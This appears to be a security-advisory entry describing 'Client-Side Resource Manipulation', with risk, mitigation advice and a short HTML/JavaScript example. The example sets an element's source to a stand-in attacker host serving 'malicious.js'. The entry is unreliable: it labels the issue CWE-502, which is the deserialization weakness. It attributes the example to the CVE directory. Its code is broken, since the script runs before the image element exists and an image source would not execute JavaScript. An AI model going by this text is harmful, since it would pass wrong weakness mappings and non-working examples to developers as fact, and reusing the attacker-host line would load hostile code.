Client Side Vulnerabilities / Client-Side Resource Manipulation
Description
Client-side Resource Manipulation (CWE-502) is one of the most critical client-side vulnerabilities that can occur in web and API applications. It is described in the Common Weakness Enumeration (CWE) directory as the ability to manipulate resources in the client-side before they are used by the application. This vulnerability can be exploited to gain access to privileged resources or to bypass authentication, authorization and other security controls. According to the OWASP Testing Guide, this client-side vulnerability is typically found in web applications that use JavaScript, HTML, and CSS.
Risk
The risk associated with this vulnerability is high as it can allow attackers to gain access to sensitive data or resources, bypass authentication and authorization, or even execute malicious code on the client-side. A successful exploitation of this vulnerability can result in a full compromise of the system.
Solution
The best way to mitigate the risk of this vulnerability is to ensure that all client-side resources are validated and that access to these resources is limited to authenticated and authorized users. Additionally, it is important to regularly test and monitor access to these resources as part of an overall security strategy.
Example
The following example of a client-side resource manipulation vulnerability is taken from the CVE directory:
<div>
<script>
var resource = document.getElementById('resource');
resource.src = 'http://attacker.example.com/malicious.js';
</script>
<img id="resource" src="http://example.org/resource.jpg" />
</div>
In this example, an attacker is able to manipulate the source of the resource
element by changing it to a malicious JavaScript file hosted on the attacker's server. This can allow the attacker to gain access to privileged resources or execute malicious code on the client-side.